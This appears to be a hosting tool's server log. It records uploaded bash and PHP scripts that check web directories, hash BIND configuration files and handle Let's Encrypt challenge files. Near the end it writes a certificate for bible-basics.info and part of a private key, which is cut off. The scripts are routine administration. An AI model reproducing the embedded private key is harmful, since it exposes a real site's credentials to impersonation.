ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-10-09 06:00:35: Establishing a connection
2025-10-09 06:00:36: Establishing a connection
2025-10-09 06:00:37: 

PUT: /tmp/pkp425151

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-09 06:00:38: 

chmod 755 /tmp/pkp425151; /tmp/pkp425151; rm /tmp/pkp425151

2025-10-09 06:00:38: 


0


2025-10-09 11:12:12: Establishing a connection
2025-10-09 11:12:26: Establishing a connection
2025-10-09 11:12:26: 

PUT: /tmp/pkp860018

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-09 11:12:27: 

runuser -l bind -s /bin/bash -c '/tmp/pkp860018; rm /tmp/pkp860018'

2025-10-09 11:12:27: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-09 11:15:03: Establishing a connection
2025-10-09 11:15:03: Establishing a connection
2025-10-09 11:15:04: 

PUT: /tmp/pkp351998

#!/bin/bash
if [ -d "/var/www/bible-basics_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-09 11:15:04: 

chmod 755 /tmp/pkp351998; /tmp/pkp351998; rm /tmp/pkp351998

2025-10-09 11:15:04: 


1


2025-10-09 11:15:05: Establishing a connection
2025-10-09 11:15:06: 

PUT: /tmp/pkp417917

#!/bin/bash
mkdir -p "/var/www/bible-basics_www/.well-known/acme-challenge/"
cd "/var/www/bible-basics_www/.well-known/acme-challenge/"
cat > 3WR_zUN8ALMxctGjjlO9hjWEisLYXpR8FDhs3Bx8W6o <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
3WR_zUN8ALMxctGjjlO9hjWEisLYXpR8FDhs3Bx8W6o.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 3WR_zUN8ALMxctGjjlO9hjWEisLYXpR8FDhs3Bx8W6o
cat > 2Bqyrebw7-w_fFe9G5Sk_RRRKW4csO2_jm8jR-ogkWc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
2Bqyrebw7-w_fFe9G5Sk_RRRKW4csO2_jm8jR-ogkWc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 2Bqyrebw7-w_fFe9G5Sk_RRRKW4csO2_jm8jR-ogkWc


2025-10-09 11:15:06: 

chmod 755 /tmp/pkp417917; /tmp/pkp417917; rm /tmp/pkp417917

2025-10-09 11:15:06: 




2025-10-09 11:15:16: Establishing a connection
2025-10-09 11:15:16: 

PUT: /tmp/pkp171303

#!/bin/bash
mkdir -p "/var/www/bible-basics_www/.well-known/acme-challenge/"
cd "/var/www/bible-basics_www/.well-known/acme-challenge/"
rm 3WR_zUN8ALMxctGjjlO9hjWEisLYXpR8FDhs3Bx8W6o
rm 2Bqyrebw7-w_fFe9G5Sk_RRRKW4csO2_jm8jR-ogkWc


2025-10-09 11:15:16: 

chmod 755 /tmp/pkp171303; /tmp/pkp171303; rm /tmp/pkp171303

2025-10-09 11:15:16: 




2025-10-09 11:15:16: Establishing a connection
2025-10-09 11:15:17: 

PUT: /tmp/pkp533717

#!/bin/bash
temp_file=$(mktemp)
TARGET=f032ab15fc1dc16ec38ee94209bcf74e.crt

cat > $temp_file <<'endmsg'
be:3b:52:e7:e2:a3:d1:ba:88:9f:91:08:8a:9b:0d:2f

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBZE95ZA0u3OG8B1pNXE7CdzuMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA5MTAxNjQ1WhcNMjYwMTA3MTAxNjQ0WjAcMRowGAYDVQQD
ExFiaWJsZS1iYXNpY3MuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBANe3Evy8qqbL6HELNcwB+2DgBN0KYizFS6ECTrGbqRJnXQKsVwf8x5YvdVmj
o2wdYhqnP+KQPoD+wpESkj6tEDRx7UuLI7gz9+FJJzVt45K6fWxa1IknJ/N3SS0g
34u0t5ukytSZvqWjGHnsWPCdia15yZzvQRefENz/jRPK5s/B6FP74p6BZjNhcc++
SJPRuiK3HlyEzwLX4n8CUT8GN8JjwhPmC12IdyUs/RC3KjIb7GRmNs6gvV/BVwML
jWMqvN14CUCwQ4nFg9q+GgY0soIJ2fRD6sXD6kFZmHj7PA+djwMLtzwbSo787Ee0
OdJhIzpOOsJpa4YwI6SzE0jiLtMCAwEAAaOCAjgwggI0MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUFPxTb3Q3aLjUCE6ZfTDRRUSfks8wHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFiaWJsZS1iYXNpY3MuaW5m
b4IVd3d3LmJpYmxlLWJhc2ljcy5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8G
A1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTExLmNybDCC
AQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+u
zl1wQS0lTMfUAAABmciusTIAAAQDAEYwRAIgHqz22EYeSczhwzByP1KzTYrObWTm
T/5NIOSn5mcaitoCIHct4EMsYR4kVU7VvTdrQ3x4P8VAMLwxCgh/Yiie6nGHAHYA
lpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGZyK6xewAABAMARzBF
AiEA7jxNx6MBx0UQHsThyEHxTRVzbXftTYMgtZHmVNzSPTECIGaDQT6qrlDN0Pc2
jbeFGaBEiGIArVfOQt8cbgRJ4gjKMA0GCSqGSIb3DQEBCwUAA4IBAQB7rW+/M8Qd
875qKVIpd2qknbvalCTnEDDKJLuKgCEmbOGtrIuxchDrv6k3bXGXTPpgY7EukvxC
Eth+RHy6La2loDoXzRwf7XtrH3jwutt5dzKCtXKVkjTfY3M4aPuDEzvyrLGVC//n
FbawvAPbswRxS/M4qiHW8iFufPTzraJR3Q8mRS+EasYtApk+bMI/F+4lM7Etwxi6
2QI/jA/B8SLCcdFa7SHqns1EzWyaNxGqL+HJqdrIEIyuxKKnr5onJFJRQO3Vxl5n
FHaflV9AhDtO3e3JiV+ZOwz8qBaRoik9suAPLyr7GrSQB9osuh52CzYfMkFy3Gsx
3hf7qJLYTK3N
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDXtxL8vKqmy+hx
CzXMAftg4ATdCmIsxUuhAk6xm6kSZ10CrFcH/MeWL3VZo6NsHWIapz/ikD6A/sKR
EpI+rRA0ce1LiyO4M/fhSSc1beOSun1sWtSJJyfzd0ktIN+LtLebpMrUmb6loxh5
7FjwnYmtecmc70EXnxDc/40TyubPwehT++KegWYzYXHPvkiT0boitx5chM8C1+J/
AlE/BjfCY8IT5gtdiHclLP0QtyoyG+xkZjbOoL1fwVcDC41jKrzdeAlAsEOJxYPa
vhoGNLKCCdn0Q+rFw+pBWZh4+zwPnY8DC7c8G0qO/OxHtDnSYSM6TjrCaWuGMCOk
sxNI4i7TAgMBAAECggEAAkO5v017vSSG3Cjx96JNsUaoxmlFfpLTqG0Nxm+L5tWO
9Gg6waq1ra3x3W8KWCg2z3DSCt7YySHjiQJY5q+KbAKGKzTauyRQhdzuvHDa4r9y
caDCem4ezT+DVSXzMtRC2S9xsamrhrGfoCgLBvugZmHQ7ATW+hiBZNCJ+ps2sRej
Fp4yLM1TvtrcW7TtC6s8pQ2qLWMCJl7RdV5p+8JmMQhD0JHc8toUFYvPlcVDv8QD
cfxxisYN5eQI2auHnAXGMD3hG4CN4C/g343nQsq5o96srfiL8pN9tI25E1ZqxKTd
ODsXKisA2RHLz7R3JYzR7opLUkUr0Q6/u4fc+w5CgQKBgQD71ApYMpakLsF8iz82
8zMgtBf14SaYon1K3BOuOWblZCTwoOld0eXS/2Cpmy/zdYE8xlgrkksPXhjbuJAx
a7r05zZVvK+piWIZCmhR+U4czC4ImPrXqI3bHLW95Yd2gWlZuDZDldjntfxey0bo
Xfme+sziopYCT4+nuBMEBJ+dlQKBgQDbSeJcp6McvbOZhYHEAr86EXu5NPks7uCc
CDBdv4bIKT0DvkULC/9Q8EF8i4mgBxx3zblh2kCXs4suv+v/2qSKMEcnGDiloffc
JCOeHgWuDBEx3FFKgqEeAp7IUicUyeAqd16bXgLAloeqsefKwFLfRtzuPWj1x4hg
SQ4CRgfwxwKBgQDnwEOk1yl6/uxhSWRrlXS/6/0A8qsqXJ8hfVc/RuRCxt6X8/3P
sZLnks3KSF7glorQ+1e5AXDCO750tm08jgAH0aBXVsXyJ9R3ZvSKO/x+1AipMN/o
B95Efy9iCxGXJZFmV/jYSdbLptcSBdDDl3hZrkVPbIDQr5dsqiIV2Itr4QKBgHzm
iFfd47nrEvDOaisKpYCdlKrY0VQWezhkMagz/sDjPC11oj24h6PCNIqLr8fGRSC3
